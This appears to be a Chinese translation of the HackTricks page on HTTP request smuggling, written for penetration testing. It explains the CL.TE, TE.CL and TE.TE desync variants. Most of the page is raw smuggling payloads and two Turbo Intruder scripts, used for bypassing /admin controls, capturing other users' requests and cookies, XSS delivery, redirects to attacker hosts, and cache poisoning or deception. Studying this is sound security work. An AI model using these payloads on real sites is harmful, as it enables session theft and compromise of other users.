.. | ||
browser-http-request-smuggling.md | ||
README.md | ||
request-smuggling-in-http-2-downgrades.md |
HTTP请求劫持/HTTP解同步攻击
☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥
- 你在一家网络安全公司工作吗?你想在HackTricks中看到你的公司广告吗?或者你想获得PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品The PEASS Family
- 获取官方PEASS和HackTricks周边产品
- 加入💬 Discord群组或电报群组,或关注我在Twitter上的🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享你的黑客技巧。
什么是
当前端代理和后端服务器之间发生不同步时,就会出现此漏洞,这使得攻击者能够发送一个HTTP请求,该请求将被前端代理(负载均衡/反向代理)解释为单个请求,而被后端服务器解释为两个请求。
这使得用户能够在到达后端服务器之后修改下一个请求。
理论
如果接收到的消息同时具有Transfer-Encoding头字段和Content-Length头字段,则必须忽略后者。
Content-Length
Content-Length实体头字段指示发送给接收者的实体主体的字节数。
Transfer-Encoding: chunked
Transfer-Encoding头字段指定用于安全传输有效载荷主体的编码形式。
Chunked表示大数据以一系列块的形式发送
现实情况
前端(负载均衡/反向代理)处理_content-length或transfer-encoding_头字段,而后端服务器处理另一个头字段,从而导致两个系统之间的不同步。
这可能非常危险,因为攻击者将能够向反向代理发送一个请求,而后端服务器将解释****注入的第二个请求,就好像它来自下一个客户端,而该客户端的真实请求将成为注入请求的一部分。
特殊情况
请记住,在HTTP中,换行符由2个字节组成:
- Content-Length:此头字段使用十进制数来指示请求的主体的字节数。主体预计以最后一个字符结束,不需要在请求的末尾添加换行符。
- Transfer-Encoding:此头字段在主体中使用十六进制数来指示下一个块的字节数。块必须以换行符结尾,但是这个换行符不计入长度指示器。此传输方法必须以大小为0的块后跟2个换行符结束:
0
- Connection:根据我的经验,建议在请求劫持的第一个请求中使用**
Connection: keep-alive
**。
基本示例
因此,请求劫持攻击涉及将Content-Length
头字段和Transfer-Encoding
头字段放入单个HTTP请求中,并操纵这些字段,以使前端和后端服务器以不同的方式处理请求。具体的操作方式取决于两个服务器的行为:
- CL.TE:前端服务器使用
Content-Length
头字段,后端服务器使用Transfer-Encoding
头字段。 - TE.CL:前端服务器使用
Transfer-Encoding
头字段,后端服务器使用Content-Length
头字段。 - TE.TE:前端和后端服务器都支持
Transfer-Encoding
头字段,但可以通过某种方式混淆头字段来诱使其中一个服务器不处理它。
CL.TE漏洞
在这种情况下,前端服务器使用**Content-Length
头字段,后端服务器使用Transfer-Encoding
**头字段。我们可以执行简单的HTTP请求劫持攻击,如下所示:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked
\ `0`\
GET /404 HTTP/1.1
Foo: x
请注意,Content-Length
指示请求主体长度为30个字节(请记住,HTTP使用换行符,每个换行符占2个字节),因此反向代理将完整的请求发送到后端,并且后端将处理Transfer-Encoding
头字段,将GET /404 HTTP/1.1
作为下一个请求的开头(顺便说一句,下一个请求将附加到Foo:x<下一个请求从这里开始>
)。
TE.CL漏洞
在这种情况下,前端服务器使用Transfer-Encoding
头,后端服务器使用Content-Length
头。我们可以执行以下简单的HTTP请求欺骗攻击:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
\ `7b`\ `GET /404 HTTP/1.1`\ `Host: vulnerable-website.com`\ `Content-Type: application/x-www-form-urlencoded`\ `Content-Length: 30`\
x=
0
\
在这种情况下,反向代理将根据Transfer-Encoding
的指示将整个请求发送到后端。但是,后端只会处理Content-Length
中指定的**7b
**(4字节)。因此,下一个请求将是以GET /404 HTTP/1.1
开头的请求。
请注意,即使攻击必须以0
结束,下一个请求也将作为x参数的额外值附加。
还请注意,嵌入请求的Content-Length将指示下一个请求的长度,该请求将附加到x参数上。如果太小,只会附加几个字节,如果太大(大于下一个请求的长度),则会为下一个请求抛出错误。
TE.TE漏洞
在这种情况下,前端和后端服务器都支持Transfer-Encoding
头,但可以通过某种方式使其中一个服务器不处理它来混淆头部。
有无数种混淆Transfer-Encoding
头的方法。例如:
Transfer-Encoding: xchunked
\ `Transfer-Encoding : chunked`\
Transfer-Encoding: chunked
Transfer-Encoding: x
\ `Transfer-Encoding: chunked`\ `Transfer-encoding: x`\
Transfer-Encoding:[tab]chunked
\ `[space]Transfer-Encoding: chunked`\
X: X[\n]Transfer-Encoding: chunked
``
Transfer-Encoding
: chunked
根据停止处理TE头部的服务器(反向代理或后端),您将找到CL.TE漏洞或TE.CL漏洞。
查找HTTP请求欺骗
使用时间技术查找CL.TE漏洞
如果应用程序容易受到CL.TE变体的请求欺骗攻击,那么发送以下请求通常会导致延迟:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4
1
A
0
由于前端服务器使用Content-Length
头,它只会转发请求的一部分,省略了0
。后端服务器使用Transfer-Encoding
头,处理第一个块,然后等待下一个块到达。这将导致可观察到的时间延迟。
有时,您在最终主机上收到400错误请求,而不是超时,就像在以下场景中发送CL.TE有效负载一样:
响应是一个重定向,其中包含错误信息,甚至包含haproxy的版本:
使用时间技术查找TE.CL漏洞
如果一个应用程序容易受到TE.CL请求劫持的攻击,那么发送如下的请求通常会导致时间延迟:
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6
0
X
由于前端服务器使用了Transfer-Encoding
头部,它只会转发请求的一部分,省略了X
。后端服务器使用Content-Length
头部,期望在消息体中接收更多内容,并等待剩余内容到达。这将导致可观察到的时间延迟。
探测HTTP请求走私漏洞
一旦你发现时序技术有效,你需要探测你是否能够修改其他客户端的请求。
最简单的方法是尝试污染自己的请求,例如请求/
返回404。
在基本示例中,我们已经看到了如何污染客户端请求以请求/404
并在客户端请求任何其他资源时引发404响应的CL.TE
和TE.CL
示例。
注意事项
在尝试通过干扰其他请求来确认请求走私漏洞时,应注意以下重要事项:
- "攻击"请求和"正常"请求应使用不同的网络连接发送到服务器。通过同一连接发送两个请求无法证明漏洞的存在。
- "攻击"请求和"正常"请求应尽可能使用相同的URL和参数名称。这是因为许多现代应用程序根据URL和参数将前端请求路由到不同的后端服务器。使用相同的URL和参数增加了请求将由同一后端服务器处理的机会,这对于攻击是必要的。
- 在测试"正常"请求以检测来自"攻击"请求的任何干扰时,您与应用程序同时接收的任何其他请求(包括其他用户的请求)竞争。您应该在"攻击"请求之后立即发送"正常"请求。如果应用程序很忙,您可能需要多次尝试以确认漏洞。
- 在某些应用程序中,前端服务器充当负载均衡器,并根据某些负载均衡算法将请求转发到不同的后端系统。如果您的"攻击"和"正常"请求被转发到不同的后端系统,则攻击将失败。这是为什么您可能需要多次尝试才能确认漏洞的另一个原因。
- 如果您的攻击成功干扰了后续请求,但这不是您发送的"正常"请求以检测干扰的请求,则意味着其他应用程序用户受到了您的攻击影响。如果您继续执行测试,这可能会对其他用户产生破坏性影响,因此应谨慎行事。
通过逐跳头部进行强制
通过滥用逐跳头部,您可以指示代理删除Content-Length或Transfer-Encoding头部,从而可能滥用HTTP请求走私。
Connection: Content-Length
有关跳跃式头部的更多信息,请访问:
{% content-ref url="../abusing-hop-by-hop-headers.md" %} abusing-hop-by-hop-headers.md {% endcontent-ref %}
滥用HTTP请求劫持
绕过前端安全控制
有时前端代理会执行一些安全检查。您可以通过滥用HTTP请求劫持来避开这些检查,因为您将能够绕过保护措施。例如,在此示例中,您无法从外部访问/admin
,而前端代理正在检查,但是这个代理没有检查嵌入的请求:
CL.TE
POST / HTTP/1.1
Host: acb21fdd1f98c4f180c02944000100b5.web-security-academy.net
Cookie: session=xht3rUYoc83NfuZkuAp8sDxzf0AZIwQr
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked
\ `0`\
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10
``
x=
TE.CL
POST / HTTP/1.1
Host: ace71f491f52696180f41ed100d000d4.web-security-academy.net
Cookie: session=Dpll5XYw4hNEu09dGccoTjHlFNx5QY1c
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0
\
揭示前端请求重写
在许多应用程序中,前端服务器在将请求转发到后端服务器之前会对其进行一些重写,通常是通过添加一些额外的请求头来实现。
常见的做法是在请求中添加头部 X-Forwarded-For: <客户端的IP>
或类似的头部,以便后端知道客户端的IP。
有时,如果您可以找到附加到请求的新值,您可能能够绕过保护措施并访问隐藏的信息/端点。
要发现代理如何重写请求,您需要找到一个后端将在响应中反映其值的POST参数。然后,将此参数放在最后,并使用以下漏洞利用之一:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked
0
\ `POST /search HTTP/1.1`\ `Host: vulnerable-website.com`\ `Content-Type: application/x-www-form-urlencoded`\ `Content-Length: 100`\
search=
在这种情况下,下一个请求将附加在search=
之后,这也是其值将在响应中反映的参数,因此它将反映下一个请求的头部。
请注意,只有嵌入请求的Content-Length
头部中指示的长度将被反映。如果使用较小的数字,只会反映几个字节,如果使用比所有头部的长度更大的数字,则嵌入请求将引发错误。因此,您应该从一个较小的数字开始,然后逐渐增加,直到看到您想要看到的所有内容。
还要注意,这种技术也可以利用TE.CL漏洞,但请求必须以search=\r\n0
结尾。然而,无论换行符是什么,值都将附加到搜索参数。
最后,请注意,在此攻击中,我们仍然在攻击自己以了解前端代理如何重写请求。
捕获其他用户的请求
如果您可以找到一个将保存一个参数的内容的POST请求,您可以将以下请求附加为该参数的值,以便存储下一个客户端的请求:
POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked
\ `0`\
POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
``
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=HACKTRICKS&email=email%40email.com&comment=
在这种情况下,参数comment的值将保存在页面上公开可见的帖子的评论中,因此将出现一个评论,其中包含下一个请求的内容。
这种技术的一个限制是,它通常只能捕获直到适用于劫持请求的参数分隔符的数据。对于URL编码的表单提交,这将是&
字符,这意味着从受害用户的请求中存储的内容将在第一个&
处结束,这甚至可能出现在查询字符串中。
还要注意,这种技术也可以利用TE.CL漏洞,但请求必须以search=\r\n0
结尾。然而,无论换行符是什么,值都将附加到搜索参数。
使用HTTP请求走私来利用反射型XSS漏洞
如果网页还存在反射型XSS漏洞,您可以利用HTTP请求走私来攻击网页的客户端。从HTTP请求走私中利用反射型XSS漏洞具有以下优势:
- 无需与受害用户进行交互
- 可以用于在请求的某些部分中无法在普通反射型XSS攻击中轻易控制的地方利用XSS行为,例如HTTP请求头。
如果网页在User-Agent头部存在反射型XSS漏洞,您可以使用以下有效载荷来利用它:
POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=Ro7YknOtbl3bxURHAAxZz84qj3PSMnSY
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded
\ `0`\
GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded
``
A=
使用HTTP请求走私将站内重定向转换为开放重定向
许多应用程序会将一个URL上的请求重定向到另一个URL,并将请求的Host
头部中的主机名放入重定向URL中。一个例子是Apache和IIS Web服务器的默认行为,其中对没有尾部斜杠的文件夹的请求会被重定向到包含尾部斜杠的同一文件夹:
GET /home HTTP/1.1
Host: normal-website.com
``
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/
这种行为通常被认为是无害的,但它可以在请求走私攻击中被利用,将其他用户重定向到外部域。例如:
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked
\ `0`\
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
走私的请求将触发对攻击者网站的重定向,这将影响由后端服务器处理的下一个用户请求。例如:
GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
``
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/
在这里,用户的请求是针对网站上的一个页面导入的JavaScript文件。攻击者可以通过返回自己的JavaScript来完全控制受害用户。
使用HTTP请求走私进行Web缓存污染
如果前端基础设施的任何部分执行内容缓存(通常是为了提高性能),那么可能会通过修改服务器的响应来污染缓存。
我们已经看到如何将服务器的预期返回值修改为404(在基本示例中),类似地,您可以使服务器在被污染的请求要求/static/include.js
时返回/index.html
的内容。这样,/static/include.js
的内容将与/index.html
的内容一起缓存,使得客户端无法访问/static/include.js
(拒绝服务?)。
请注意,如果您找到了一些开放重定向或一些站内重定向到开放重定向(上一节),这将变得更加有趣。因为您可以更改/static/include.js
的缓存值为您控制的脚本的值(对所有尝试下载/static/include.js
新版本的客户端进行通用XSS攻击)。
在这个示例中,将展示如何利用缓存污染+站内重定向到开放重定向来修改/static/include.js
缓存的内容,以提供由攻击者控制的JS代码:
POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked
\ `0`\
GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
``
x=1
请注意,嵌入的请求要求/post/next?postId=3
。这个请求将被重定向到/post?postId=4
,并且将使用Host头部的值来指示域名。因此,您可以修改Host头部以指向攻击者的服务器,重定向将使用该域名(站内重定向到开放重定向)。
然后,在污染套接字之后,您需要发送一个GET请求到**/static/include.js
**,这个请求将被站内重定向到开放重定向请求污染,并将获取攻击者控制脚本的内容。
下次有人请求/static/include.js
时,将提供攻击者脚本的缓存内容(通用XSS攻击)。
使用HTTP请求走私进行Web缓存欺骗
Web缓存污染和Web缓存欺骗有什么区别?
- 在Web缓存污染中,攻击者会导致应用程序将一些恶意内容存储在缓存中,并从缓存中向其他应用程序用户提供此内容。
- 在Web缓存欺骗中,攻击者会导致应用程序将属于另一个用户的某些敏感内容存储在缓存中,然后攻击者从缓存中检索此内容。
在这种变体中,攻击者走私了一个请求,返回一些敏感的用户特定内容。例如:
POST / HTTP/1.1
Host: vulnerable-website.com
Connection: keep-alive
Content-Length: 43
Transfer-Encoding: chunked
\ `0`\
GET /private/messages HTTP/1.1
Foo: X
如果毒药到达正在访问某些静态内容(如/someimage.png
)的客户端,该内容将被缓存。受害者的/private/messages
内容将被缓存在/someimage.png
中,攻击者将能够窃取这些内容。
请注意,攻击者不知道受害者试图访问的静态内容,所以最好的测试方法可能是执行攻击,等待几秒钟,然后加载所有静态内容并搜索私人数据。
使用HTTP响应不同步武器化HTTP请求走私
您是否发现了一些HTTP请求走私漏洞,但不知道如何利用它。尝试使用以下其他利用方法:
{% content-ref url="../http-response-smuggling-desync.md" %} http-response-smuggling-desync.md {% endcontent-ref %}
Turbo intruder脚本
CL.TE
来自https://hipotermia.pw/bb/http-desync-idor
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar
0
GET /admin7 HTTP/1.1
X-Foo: k'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
TE.CL
来自:https://hipotermia.pw/bb/http-desync-account-takeover
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked
46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15
kk
0
'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
更多信息
工具
- https://github.com/anshumanpattnaik/http-request-smuggling
- https://github.com/PortSwigger/http-request-smuggler
- https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
- https://github.com/defparam/smuggler
- https://github.com/bahruzjabiyev/t-reqs-http-fuzzer:这个工具是一个基于语法的HTTP模糊测试工具,用于查找奇怪的请求欺骗差异。
参考资料
- https://portswigger.net/web-security/request-smuggling
- https://portswigger.net/web-security/request-smuggling/finding
- https://portswigger.net/web-security/request-smuggling/exploiting
- https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4
- https://github.com/haroonawanofficial/HTTP-Desync-Attack/
- https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html
- https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- 你在一个网络安全公司工作吗?你想在HackTricks中看到你的公司广告吗?或者你想要获取PEASS的最新版本或下载PDF格式的HackTricks吗?请查看订阅计划!
- 发现我们的独家NFTs收藏品The PEASS Family
- 获得官方PEASS和HackTricks周边产品
- 加入💬 Discord群组或电报群组,或关注我在Twitter上的🐦@carlospolopm。
- 通过向hacktricks repo 和hacktricks-cloud repo 提交PR来分享你的黑客技巧。